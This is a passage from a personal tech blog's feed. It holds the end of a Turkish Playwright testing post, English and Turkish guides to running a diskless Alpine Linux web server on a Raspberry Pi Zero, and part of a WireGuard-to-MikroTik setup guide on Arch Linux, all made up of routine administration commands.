class="p">):</span> <span class="n">response</span> <span class="o">=</span> <span class="n">page</span><span class="o">.</span><span class="n">goto</span><span class="p">(</span><span class="s2">"https://yuceltoluyag.com/eski-yazi/"</span><span class="p">)</span> <span class="k">assert</span> <span class="n">response</span><span class="o">.</span><span class="n">status</span> <span class="o">==</span> <span class="mi">200</span> <span class="k">assert</span> <span class="n">response</span><span class="o">.</span><span class="n">url</span> <span class="o">==</span> <span class="s2">"https://yuceltoluyag.com/yeni-yazi/"</span> </code></pre></div> <h3 id="4-xpath-ile-iliskisel-dom-kontrolleri">4. XPath ile &Idot;li&scedil;kisel DOM Kontrolleri<a class="headerlink" href="#4-xpath-ile-iliskisel-dom-kontrolleri" title="Permanent link">#</a></h3> <p>Bazen CSS selector'lar&inodot; yetmez. &Ouml;rne&gbreve;in, belirli bir ba&scedil;l&inodot;&gbreve;&inodot;n hemen yan&inodot;ndaki veya alt&inodot;ndaki butonu se&ccedil;mek i&ccedil;in XPath kullanabilirsiniz:</p> <div class="highlight"><pre><span></span><code><span class="k">def</span><span class="w"> </span><span class="nf">test_article_sibling_button</span><span class="p">(</span><span class="n">page</span><span class="p">):</span> <span class="c1"># 'Makaleler' ba&scedil;l&inodot;&gbreve;&inodot;n&inodot;n hemen ard&inodot;ndan gelen 'Devam&inodot;n&inodot; oku' butonunu bul</span> <span class="n">button</span> <span class="o">=</span> <span class="n">page</span><span class="o">.</span><span class="n">locator</span><span class="p">(</span><span class="s2">"xpath=//h2[contains(text(), 'Makaleler')]/following-sibling::a[1]"</span><span class="p">)</span> <span class="n">expect</span><span class="p">(</span><span class="n">button</span><span class="p">)</span><span class="o">.</span><span class="n">to_have_attribute</span><span class="p">(</span><span class="s2">"href"</span><span class="p">,</span> <span class="s2">"/makaleler/"</span><span class="p">)</span> </code></pre></div> <h2 id="testleri-calstrma_1">🚀 Testleri &Ccedil;al&inodot;&scedil;t&inodot;rma<a class="headerlink" href="#testleri-calstrma" title="Permanent link">#</a></h2> <p>Terminalden &scedil;u komutu verdi&gbreve;inizde Playwright gizlice taray&inodot;c&inodot;y&inodot; a&ccedil;ar, Pelican'&inodot;n &uuml;retti&gbreve;i siteyi tarar ve e&gbreve;er bir JS hatas&inodot; veya k&inodot;r&inodot;k yap&inodot; varsa size raporlar:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>uv<span class="w"> </span>run<span class="w"> </span>pytest<span class="w"> </span>tests/ </code></pre></div> <h3 id="neden-bu-zahmete-giriyoruz">Neden Bu Zahmete Giriyoruz?<a class="headerlink" href="#neden-bu-zahmete-giriyoruz" title="Permanent link">#</a></h3> <p>&Ccedil;&uuml;nk&uuml; statik siteler "basit" de&gbreve;ildir. &Ouml;zellikle kendi teman&inodot;z&inodot; yaz&inodot;yorsan&inodot;z veya karma&scedil;&inodot;k CSS/JS yap&inodot;lar&inodot; kullan&inodot;yorsan&inodot;z, bir makaleyi g&uuml;ncellerken t&uuml;m site yap&inodot;s&inodot;n&inodot; bozma riskiniz her zaman vard&inodot;r. Playwright ile bu riski s&inodot;f&inodot;ra indiriyoruz.</p> <p>Unutmay&inodot;n; test yazmak zaman kayb&inodot; de&gbreve;il, gelecekteki uykusuz gecelerden &ccedil;al&inodot;nm&inodot;&scedil; bir sigortad&inodot;r. <a href="/playwright-arch-linux-kurulum/">Playwright Arch Linux Kurulum</a> rehberimle ba&scedil;lad&inodot;&gbreve;&inodot;n&inodot;z bu yolda, art&inodot;k siteniz ger&ccedil;ek bir m&uuml;hendislik &uuml;r&uuml;n&uuml; gibi sa&gbreve;lam duruyor karda&scedil;.</p> <p>Hadi eyvallah!</p> <hr/> <h2 id="ilgili-yazlar_1">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/playwright-arch-linux-kurulum/">Playwright Arch Linux Kurulum</a></li> <li><a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a></li> <li><a href="/raspberry-pi-zero-ram-diskless-web-server/">Diskleri &Ccedil;&ouml;pe At&inodot;n: Raspberry Pi Zero ile RAM &Uuml;st&uuml;nde Site Bar&inodot;nd&inodot;rmak</a></li> </ul>2026-05-11T00:05:00+03:002026-05-11T00:05:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-11:/en/raspberry-pi-zero-ram-diskless-web-server/

<p>A crazy guide on how to turn a Pi Zero with 512MB RAM into a completely diskless Alpine Linux server and host a website on it.</p>

<p>If you have a Raspberry Pi Zero (v1.3 or W) in your hand, you actually have the most durable micro server in the world. Of course, only if you use the SD card just for "booting" and run the rest of the system entirely on RAM. Today, we are setting up an Alpine Linux-based static web server that runs diskless and fits inside only 512MB of RAM.</p> <p>SD cards die, write limits end, but RAM (if there is electricity) never gets tired. Let's dive into the details of this madness from our Arch Linux terminal.</p> <h2 id="step-1-preparing-the-sd-card-on-arch-linux">💾 Step 1: Preparing the SD Card on Arch Linux<a class="headerlink" href="#step-1-preparing-the-sd-card-on-arch-linux" title="Permanent link">#</a></h2> <p>Sources usually explain this on macOS, but we will handle our work in the Arch terminal with <code>fdisk</code> with surgical precision. I assume your SD card is <code>/dev/sdX</code> (be careful not to blow up the wrong disk!).</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>fdisk<span class="w"> </span>/dev/sdX <span class="c1"># Create a new partition table with 'o', and a new partition with 'n' (for FAT32).</span> <span class="c1"># Don't forget to make its type 'b' (W95 FAT32).</span> yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>mkfs.vfat<span class="w"> </span>-F<span class="w"> </span><span class="m">32</span><span class="w"> </span>-n<span class="w"> </span>ALPINE<span class="w"> </span>/dev/sdX1 yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>mount<span class="w"> </span>/dev/sdX1<span class="w"> </span>/mnt yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>tar<span class="w"> </span>xzf<span class="w"> </span>alpine-rpi-*.tar.gz<span class="w"> </span>-C<span class="w"> </span>/mnt yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>umount<span class="w"> </span>/mnt </code></pre></div> <p>Insert the card into the Pi Zero, connect the keyboard and monitor, and power it up. Log in as <code>root</code> without a password.</p> <h2 id="step-2-alpine-linux-diskless-mode-and-lbu">🧠 Step 2: Alpine Linux Diskless Mode and lbu<a class="headerlink" href="#step-2-alpine-linux-diskless-mode-and-lbu" title="Permanent link">#</a></h2> <p>When the Pi boots, everything is in RAM, but in order for your changes to be persistent, we must set up Alpine's <code>lbu</code> (Local Backup) tool.</p> <div class="highlight"><pre><span></span><code>Friday13-Zero:~#<span class="w"> </span>setup-lbu<span class="w"> </span>mmcblk0p1 Friday13-Zero:~#<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span>/media/mmcblk0p1/cache Friday13-Zero:~#<span class="w"> </span>setup-apkcache<span class="w"> </span>/media/mmcblk0p1/cache </code></pre></div> <p>Now we give the real magic command: <code>setup-alpine</code>.</p> <div class="admonition danger"> <p class="admonition-title">Critical Choice!</p> <p>During the installation, when the <strong>"Disk"</strong> selection comes, you must absolutely say <strong>"none"</strong>. This prevents the operating system from being installed on the SD card and loads the system entirely into the RAM (tmpfs). Choose <code>dropbear</code> as SSH because OpenSSH would be a luxury in our limited RAM.</p> </div> <h2 id="step-3-server-installation-and-automation">🌐 Step 3: Server Installation and Automation<a class="headerlink" href="#step-3-server-installation-and-automation" title="Permanent link">#</a></h2> <p>We will use <code>darkhttpd</code> as the web server. It is lightweight, fast, and exactly suited for the Pi Zero.</p> <div class="highlight"><pre><span></span><code>Friday13-Zero:~#<span class="w"> </span>apk<span class="w"> </span>add<span class="w"> </span>darkhttpd Friday13-Zero:~#<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span>/var/www/localhost/htdocs </code></pre></div> <p>To have the system start the server on every boot, create the <code>/etc/init.d/darkhttpd</code> file with the following content:</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/sbin/openrc-run</span> <span class="nv">description</span><span class="o">=</span><span class="s2">"darkhttpd static web server"</span> <span class="nv">command</span><span class="o">=</span><span class="s2">"/usr/bin/darkhttpd"</span> <span class="nv">command_args</span><span class="o">=</span><span class="s2">"/var/www/localhost/htdocs --port 80 --maxconn 20"</span> <span class="nv">command_background</span><span class="o">=</span><span class="nb">true</span> <span class="nv">pidfile</span><span class="o">=</span><span class="s2">"/run/darkhttpd.pid"</span> depend<span class="o">()</span><span class="w"> </span><span class="o">{</span> <span class="w"> </span>need<span class="w"> </span>net <span class="o">}</span> </code></pre></div> <p>Authorize the script and add it to the startup:</p> <div class="highlight"><pre><span></span><code>Friday13-Zero:~#<span class="w"> </span>chmod<span class="w"> </span>+x<span class="w"> </span>/etc/init.d/darkhttpd Friday13-Zero:~#<span class="w"> </span>rc-update<span class="w"> </span>add<span class="w"> </span>darkhttpd<span class="w"> </span>default Friday13-Zero:~#<span class="w"> </span>rc-service<span class="w"> </span>darkhttpd<span class="w"> </span>start </code></pre></div> <h2 id="step-4-ensuring-persistence-lbu-commit">💾 Step 4: Ensuring Persistence (lbu commit)<a class="headerlink" href="#step-4-ensuring-persistence-lbu-commit" title="Permanent link">#</a></h2> <p>Everything is working right now, but if the electricity goes out, everything will be deleted. We must add the script and web folder we just created to Alpine's backup list:</p> <div class="highlight"><pre><span></span><code>Friday13-Zero:~#<span class="w"> </span>lbu<span class="w"> </span>include<span class="w"> </span>/etc/init.d/darkhttpd Friday13-Zero:~#<span class="w"> </span>lbu<span class="w"> </span>include<span class="w"> </span>/var/www Friday13-Zero:~#<span class="w"> </span>lbu<span class="w"> </span>commit<span class="w"> </span>-d </code></pre></div> <p>The <code>lbu commit -d</code> command packages these changes currently in RAM and writes them as an <code>apkovl</code> file to that small FAT32 partition on the SD card.</p> <hr/> <h2 id="troubleshooting-and-critical-checks">🛠️ Troubleshooting and Critical Checks<a class="headerlink" href="#troubleshooting-and-critical-checks" title="Permanent link">#</a></h2> <p>Before finishing the post, check these "must-haves" for the system to work:</p> <ol> <li><strong>Outer World Access:</strong> Is the <code>socat</code> tunnel on the VPS working? (e.g., <code>socat TCP-LISTEN:80,fork,reuseaddr TCP:HOME_IP:80 &amp;</code>)</li> <li><strong>RAM Usage:</strong> Make sure that the <code>/</code> (root) directory appears as <code>tmpfs</code> when you run the <code>df -h</code> command.</li> <li><strong>Persistence Test:</strong> Perform a <code>reboot</code> once. If the <code>darkhttpd</code> service does not start automatically or your files inside <code>/var/www</code> are missing, it means you have done the <code>lbu include</code> step wrong.</li> </ol> <p>If you want to backup the system, run this command from your Arch machine while the Pi is on:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>ssh<span class="w"> </span>root@pi-ip<span class="w"> </span><span class="s2">"dd if=/dev/mmcblk0 bs=4M"</span><span class="w"> </span>&gt;<span class="w"> </span>zero-full-backup.img </code></pre></div> <p>That's it! A whole world inside 512MB RAM. This is exactly the physical embodiment of the "efficiency" philosophy I mentioned in my <a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a> article, karda&scedil;.</p> <p>Farewell, may your RAM be plentiful!</p> <hr/> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a></li> <li><a href="/en/arch-linux-mikrotik-wireguard-kurulumu/">WireGuard from Arch Linux to MikroTik: DNS Trouble and Clean Setup</a></li> <li><a href="/en/png-mogrify-chunk-hatalari-cozumu/">My Trial with PNG Files: Mogrify and Those Annoying Chunk Errors</a></li> </ul>2026-05-11T00:05:00+03:002026-05-11T00:05:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-11:/raspberry-pi-zero-ram-diskless-web-server/

<p>512MB RAM'li bir Pi Zero'yu tamamen diskless bir Alpine Linux sunucusuna çevirip, üzerinde nasıl web sitesi barındıracağınızı anlatan çılgın bir rehber.</p>

<p>Elinizde bir Raspberry Pi Zero (v1.3 veya W) varsa, asl&inodot;nda elinizde d&uuml;nyan&inodot;n en dayan&inodot;kl&inodot; mikro sunucusu var demektir. Tabii e&gbreve;er SD kart&inodot; sadece "a&ccedil;&inodot;l&inodot;&scedil;" i&ccedil;in kullan&inodot;p, sistemin geri kalan&inodot;n&inodot; tamamen RAM &uuml;zerinde ko&scedil;turursan&inodot;z. Bug&uuml;n, diskless (disksiz) &ccedil;al&inodot;&scedil;an ve sadece 512MB RAM'in i&ccedil;ine s&inodot;&gbreve;an Alpine Linux tabanl&inodot; bir web sunucusu kuruyoruz.</p> <p>SD kartlar &ouml;l&uuml;r, yazma limitleri biter ama RAM (e&gbreve;er elektrik varsa) asla yorulmaz. Hadi bu &ccedil;&inodot;lg&inodot;nl&inodot;&gbreve;&inodot;n detaylar&inodot;na Arch Linux terminalimizden dalal&inodot;m.</p> <h2 id="adm-1-sd-kart-arch-linux-uzerinde-hazrlamak">💾 Ad&inodot;m 1: SD Kart&inodot; Arch Linux &Uuml;zerinde Haz&inodot;rlamak<a class="headerlink" href="#adm-1-sd-kart-arch-linux-uzerinde-hazrlamak" title="Permanent link">#</a></h2> <p>Kaynaklarda genelde macOS anlat&inodot;l&inodot;r ama biz i&scedil;imizi Arch terminalinde, <code>fdisk</code> ile cerrah titizli&gbreve;inde halledece&gbreve;iz. SD kart&inodot;n&inodot;z&inodot;n <code>/dev/sdX</code> oldu&gbreve;unu varsay&inodot;yorum (aman dikkat, yanl&inodot;&scedil; diski u&ccedil;urmay&inodot;n!).</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>fdisk<span class="w"> </span>/dev/sdX <span class="c1"># 'o' ile yeni partition table, 'n' ile yeni partition (FAT32 i&ccedil;in) olu&scedil;turun.</span> <span class="c1"># Tipini 'b' (W95 FAT32) yapmay&inodot; unutmay&inodot;n.</span> yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>mkfs.vfat<span class="w"> </span>-F<span class="w"> </span><span class="m">32</span><span class="w"> </span>-n<span class="w"> </span>ALPINE<span class="w"> </span>/dev/sdX1 yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>mount<span class="w"> </span>/dev/sdX1<span class="w"> </span>/mnt yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>tar<span class="w"> </span>xzf<span class="w"> </span>alpine-rpi-*.tar.gz<span class="w"> </span>-C<span class="w"> </span>/mnt yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>umount<span class="w"> </span>/mnt </code></pre></div> <p>Kart&inodot; Pi Zero'ya tak&inodot;n, klavye ve monit&ouml;r&uuml; ba&gbreve;lay&inodot;p g&uuml;c&uuml; verin. <code>root</code> ile &scedil;ifresiz giri&scedil; yap&inodot;n.</p> <h2 id="adm-2-alpine-linux-diskless-modu-ve-lbu">🧠 Ad&inodot;m 2: Alpine Linux Diskless Modu ve lbu<a class="headerlink" href="#adm-2-alpine-linux-diskless-modu-ve-lbu" title="Permanent link">#</a></h2> <p>Pi a&ccedil;&inodot;ld&inodot;&gbreve;&inodot;nda her &scedil;ey RAM'dedir ama yapt&inodot;&gbreve;&inodot;n&inodot;z de&gbreve;i&scedil;ikliklerin kal&inodot;c&inodot; olmas&inodot; i&ccedil;in Alpine'in <code>lbu</code> (Local Backup) arac&inodot;n&inodot; kurmam&inodot;z &scedil;art.</p> <div class="highlight"><pre><span></span><code>Friday13-Zero:~#<span class="w"> </span>setup-lbu<span class="w"> </span>mmcblk0p1 Friday13-Zero:~#<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span>/media/mmcblk0p1/cache Friday13-Zero:~#<span class="w"> </span>setup-apkcache<span class="w"> </span>/media/mmcblk0p1/cache </code></pre></div> <p>&Scedil;imdi as&inodot;l sihirli komutu veriyoruz: <code>setup-alpine</code>. </p> <div class="admonition danger"> <p class="admonition-title">Kritik Se&ccedil;im!</p> <p>Kurulum s&inodot;ras&inodot;nda <strong>"Disk"</strong> se&ccedil;imi geldi&gbreve;inde mutlaka <strong>"none"</strong> demeniz gerekiyor. Bu, i&scedil;letim sisteminin SD karta kurulmas&inodot;n&inodot; engeller ve sistemi tamamen RAM'e (tmpfs) y&uuml;kler. SSH olarak <code>dropbear</code> se&ccedil;in, &ccedil;&uuml;nk&uuml; k&inodot;s&inodot;tl&inodot; RAM'imizde OpenSSH l&uuml;ks ka&ccedil;ar.</p> </div> <h2 id="adm-3-sunucu-kurulumu-ve-otomasyon">🌐 Ad&inodot;m 3: Sunucu Kurulumu ve Otomasyon<a class="headerlink" href="#adm-3-sunucu-kurulumu-ve-otomasyon" title="Permanent link">#</a></h2> <p>Web sunucusu olarak <code>darkhttpd</code> kullanaca&gbreve;&inodot;z. Hafiftir, h&inodot;zl&inodot;d&inodot;r ve tam da Pi Zero'ya g&ouml;redir.</p> <div class="highlight"><pre><span></span><code>Friday13-Zero:~#<span class="w"> </span>apk<span class="w"> </span>add<span class="w"> </span>darkhttpd Friday13-Zero:~#<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span>/var/www/localhost/htdocs </code></pre></div> <p>Sistemin her a&ccedil;&inodot;l&inodot;&scedil;ta sunucuyu ba&scedil;latmas&inodot; i&ccedil;in <code>/etc/init.d/darkhttpd</code> dosyas&inodot;n&inodot; &scedil;u i&ccedil;erikle olu&scedil;turun:</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/sbin/openrc-run</span> <span class="nv">description</span><span class="o">=</span><span class="s2">"darkhttpd static web server"</span> <span class="nv">command</span><span class="o">=</span><span class="s2">"/usr/bin/darkhttpd"</span> <span class="nv">command_args</span><span class="o">=</span><span class="s2">"/var/www/localhost/htdocs --port 80 --maxconn 20"</span> <span class="nv">command_background</span><span class="o">=</span><span class="nb">true</span> <span class="nv">pidfile</span><span class="o">=</span><span class="s2">"/run/darkhttpd.pid"</span> depend<span class="o">()</span><span class="w"> </span><span class="o">{</span> <span class="w"> </span>need<span class="w"> </span>net <span class="o">}</span> </code></pre></div> <p>Script'i yetkilendirin ve ba&scedil;lang&inodot;ca ekleyin:</p> <div class="highlight"><pre><span></span><code>Friday13-Zero:~#<span class="w"> </span>chmod<span class="w"> </span>+x<span class="w"> </span>/etc/init.d/darkhttpd Friday13-Zero:~#<span class="w"> </span>rc-update<span class="w"> </span>add<span class="w"> </span>darkhttpd<span class="w"> </span>default Friday13-Zero:~#<span class="w"> </span>rc-service<span class="w"> </span>darkhttpd<span class="w"> </span>start </code></pre></div> <h2 id="adm-4-kalclg-saglamak-lbu-commit">💾 Ad&inodot;m 4: Kal&inodot;c&inodot;l&inodot;&gbreve;&inodot; Sa&gbreve;lamak (lbu commit)<a class="headerlink" href="#adm-4-kalclg-saglamak-lbu-commit" title="Permanent link">#</a></h2> <p>&Scedil;u an her &scedil;ey &ccedil;al&inodot;&scedil;&inodot;yor ama elektrik giderse her &scedil;ey silinir. Yeni olu&scedil;turdu&gbreve;umuz script'i ve web klas&ouml;r&uuml;n&uuml; Alpine'in yedekleme listesine eklemeliyiz:</p> <div class="highlight"><pre><span></span><code>Friday13-Zero:~#<span class="w"> </span>lbu<span class="w"> </span>include<span class="w"> </span>/etc/init.d/darkhttpd Friday13-Zero:~#<span class="w"> </span>lbu<span class="w"> </span>include<span class="w"> </span>/var/www Friday13-Zero:~#<span class="w"> </span>lbu<span class="w"> </span>commit<span class="w"> </span>-d </code></pre></div> <p><code>lbu commit -d</code> komutu, o an RAM'de olan bu de&gbreve;i&scedil;iklikleri paketleyip SD karttaki o k&uuml;&ccedil;&uuml;k FAT32 b&ouml;l&uuml;m&uuml;ne <code>apkovl</code> dosyas&inodot; olarak yazar.</p> <hr/> <h2 id="sorun-giderme-ve-kritik-kontroller">🛠️ Sorun Giderme ve Kritik Kontroller<a class="headerlink" href="#sorun-giderme-ve-kritik-kontroller" title="Permanent link">#</a></h2> <p>Yaz&inodot;y&inodot; bitirmeden &ouml;nce, sistemin &ccedil;al&inodot;&scedil;mas&inodot; i&ccedil;in &scedil;u "olmazsa olmazlar&inodot;" kontrol edin:</p> <ol> <li><strong>D&inodot;&scedil; D&uuml;nya Eri&scedil;imi:</strong> VPS &uuml;zerindeki <code>socat</code> t&uuml;neli &ccedil;al&inodot;&scedil;&inodot;yor mu? (&Ouml;rn: <code>socat TCP-LISTEN:80,fork,reuseaddr TCP:EV_IP:80 &amp;</code>)</li> <li><strong>RAM Kullan&inodot;m&inodot;:</strong> <code>df -h</code> komutunu verdi&gbreve;inizde <code>/</code> (root) dizininin <code>tmpfs</code> olarak g&ouml;r&uuml;nd&uuml;&gbreve;&uuml;nden emin olun.</li> <li><strong>Persistence Testi:</strong> Bir kez <code>reboot</code> at&inodot;n. E&gbreve;er <code>darkhttpd</code> servisi kendili&gbreve;inden kalkm&inodot;yorsa veya <code>/var/www</code> i&ccedil;indeki dosyalar&inodot;n&inodot;z yoksa <code>lbu include</code> ad&inodot;m&inodot;n&inodot; yanl&inodot;&scedil; yapm&inodot;&scedil;s&inodot;n&inodot;z demektir.</li> </ol> <p>Sistemi yedeklemek isterseniz, Pi a&ccedil;&inodot;kken Arch makinenizden &scedil;u komutu verin:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>ssh<span class="w"> </span>root@pi-ip<span class="w"> </span><span class="s2">"dd if=/dev/mmcblk0 bs=4M"</span><span class="w"> </span>&gt;<span class="w"> </span>zero-full-backup.img </code></pre></div> <p>&Idot;&scedil;te bu kadar! 512MB RAM i&ccedil;inde koca bir d&uuml;nya. <a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a> yaz&inodot;mda bahsetti&gbreve;im o "verimlilik" felsefesinin donan&inodot;m bulmu&scedil; hali tam olarak budur karda&scedil;.</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla, RAM'iniz bol olsun!</p> <hr/> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a></li> <li><a href="/arch-linux-mikrotik-wireguard-kurulumu/">Arch Linux'tan MikroTik'e WireGuard: DNS Belas&inodot; ve Temiz Kurulum</a></li> <li><a href="/png-mogrify-chunk-hatalari-cozumu/">PNG Dosyalar&inodot;yla &Idot;mtihan&inodot;m: Mogrify ve Chunk Hatalar&inodot;</a></li> </ul>2026-05-10T23:05:00+03:002026-05-10T23:05:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-10:/en/arch-linux-mikrotik-wireguard-kurulumu/

<p>I explain how to set up WireGuard on Arch Linux to connect to MikroTik, and the most accurate way to solve the famous DNS 'signature mismatch' error that you will encounter.</p>

<p>If you are using Arch Linux, just "installing" something is not enough; you also need to know how that thing fights with the rest of the system (especially NetworkManager and DNS). Today, I will explain how to set up a MikroTik as a VPN Hub and connect an Arch Linux peer to it.</p> <p>Since I also get tired of looking for configurations in my old notes and all over the place every single time, I am leaving the entire process and the solution to that annoying DNS error right here in one piece.</p> <h2 id="step-1-arming-ourselves-with-tools">📦 Step 1: Arming Ourselves with Tools<a class="headerlink" href="#step-1-arming-ourselves-with-tools" title="Permanent link">#</a></h2> <p>First of all, the package we need is <code>wireguard-tools</code>. This package brings both the necessary helper tools and the systemd units that will manage the connection.</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>wireguard-tools </code></pre></div> <h2 id="step-2-key-generation-and-permissions">🔑 Step 2: Key Generation and Permissions<a class="headerlink" href="#step-2-key-generation-and-permissions" title="Permanent link">#</a></h2> <p>WireGuard keys are kept under <code>/etc/wireguard/</code>. Let's create the folder and generate the keys in a single line (I usually do this, it's faster):</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>-i <span class="c1"># Create the directory and enter it</span> root@archlinux:~#<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span>/etc/wireguard/<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="nb">cd</span><span class="w"> </span>/etc/wireguard/ <span class="c1"># Generate keys and set permissions</span> root@archlinux:/etc/wireguard#<span class="w"> </span>wg<span class="w"> </span>genkey<span class="w"> </span><span class="p">|</span><span class="w"> </span>tee<span class="w"> </span>privatekey<span class="w"> </span><span class="p">|</span><span class="w"> </span>wg<span class="w"> </span>pubkey<span class="w"> </span>&gt;<span class="w"> </span>publickey root@archlinux:/etc/wireguard#<span class="w"> </span>chmod<span class="w"> </span><span class="m">600</span><span class="w"> </span>privatekey </code></pre></div> <p>Make sure that only root can read the <code>privatekey</code> file here; otherwise, the system will start screaming at you about "security".</p> <h2 id="step-3-configuration-wg0conf">⚙️ Step 3: Configuration (wg0.conf)<a class="headerlink" href="#step-3-configuration-wg0conf" title="Permanent link">#</a></h2> <p>Now we get to the real business. Let's create the <code>/etc/wireguard/wg0.conf</code> file. Adding your own nickname or a custom note here makes it easier to track the configuration.</p> <div class="highlight"><pre><span></span><code><span class="k">[Interface]</span> <span class="c1"># Friday13 VPN Peer Configuration</span> <span class="na">PrivateKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&lt;YOUR_PRIVATE_KEY&gt;</span> <span class="na">Address</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10.100.0.10/32</span> <span class="na">DNS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">192.168.0.1, 10.100.0.1</span> <span class="k">[Peer]</span> <span class="c1"># MikroTik Office Gateway</span> <span class="na">PublicKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&lt;MIKROTIK_PUBLIC_KEY&gt;</span> <span class="na">Endpoint</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">178.xxx.xxx.184:51820</span> <span class="na">AllowedIPs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10.100.0.0/24, 192.168.0.0/24</span> <span class="na">PersistentKeepalive</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">25</span> </code></pre></div> <p>At this point, you also need to add a new Peer on the MikroTik side and enter your Arch machine's <code>publickey</code> content there.</p> <hr/> <h2 id="troubleshooting-resolvconf-signature-mismatch-error">⚡ Troubleshooting: "resolvconf: signature mismatch" Error<a class="headerlink" href="#troubleshooting-resolvconf-signature-mismatch-error" title="Permanent link">#</a></h2> <p>When you try to start the connection, you will probably run into this error: <code>resolvconf: signature mismatch: /etc/resolv.conf</code></p> <p><strong>Why does it happen?</strong> In Arch Linux, NetworkManager, by default, dives straight into the <code>/etc/resolv.conf</code> file and overwrites it. However, <code>openresolv</code> (and therefore <code>wg-quick</code>) checks the signature of this file. When NetworkManager changes the file, the signature is broken, and WireGuard cannot apply the DNS settings.</p> <h3 id="solution-the-right-way-systemd-resolved">Solution: The "Right Way" (systemd-resolved)<a class="headerlink" href="#solution-the-right-way-systemd-resolved" title="Permanent link">#</a></h3> <p>Instead of dealing with methods called "dirty hacks" (like PreUp), configuring NetworkManager to use <code>systemd-resolved</code> is the cleanest way.</p> <ol> <li> <p>Update the NetworkManager setting: Add the following to the <code>/etc/NetworkManager/NetworkManager.conf</code> file: <code>ini [main] dns=systemd-resolved</code></p> </li> <li> <p>Trigger the services: <code>bash yuceltoluyag@archlinux:~$ sudo systemctl enable --now systemd-resolved yuceltoluyag@archlinux:~$ sudo systemctl restart NetworkManager</code></p> </li> </ol> <p>Now your <code>/etc/resolv.conf</code> file will point to the <code>127.0.0.53</code> address (i.e. local systemd-resolved) and will be able to pass WireGuard DNS settings to this service without any issues.</p> <hr/> <h2 id="firing-up-the-connection_1">🚀 Firing Up the Connection<a class="headerlink" href="#firing-up-the-connection" title="Permanent link">#</a></h2> <p>If everything is ready, let's open the tunnel:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>wg-quick@wg0 yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>wg-quick@wg0 </code></pre></div> <p>Use the legendary <code>wg</code> command to check the status:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>wg<span class="w"> </span>show interface:<span class="w"> </span>wg0 <span class="w"> </span>public<span class="w"> </span>key:<span class="w"> </span>0Cl***9F4<span class="o">=</span> <span class="w"> </span>private<span class="w"> </span>key:<span class="w"> </span><span class="o">(</span>hidden<span class="o">)</span> <span class="w"> </span>listening<span class="w"> </span>port:<span class="w"> </span><span class="m">47047</span> peer:<span class="w"> </span>hxz***50o<span class="o">=</span> <span class="w"> </span>endpoint:<span class="w"> </span><span class="m">178</span>.xxx.xxx.184:51820 <span class="w"> </span>allowed<span class="w"> </span>ips:<span class="w"> </span><span class="m">10</span>.100.0.0/24,<span class="w"> </span><span class="m">192</span>.168.0.0/24 <span class="w"> </span>latest<span class="w"> </span>handshake:<span class="w"> </span><span class="m">20</span><span class="w"> </span>seconds<span class="w"> </span>ago <span class="w"> </span>transfer:<span class="w"> </span><span 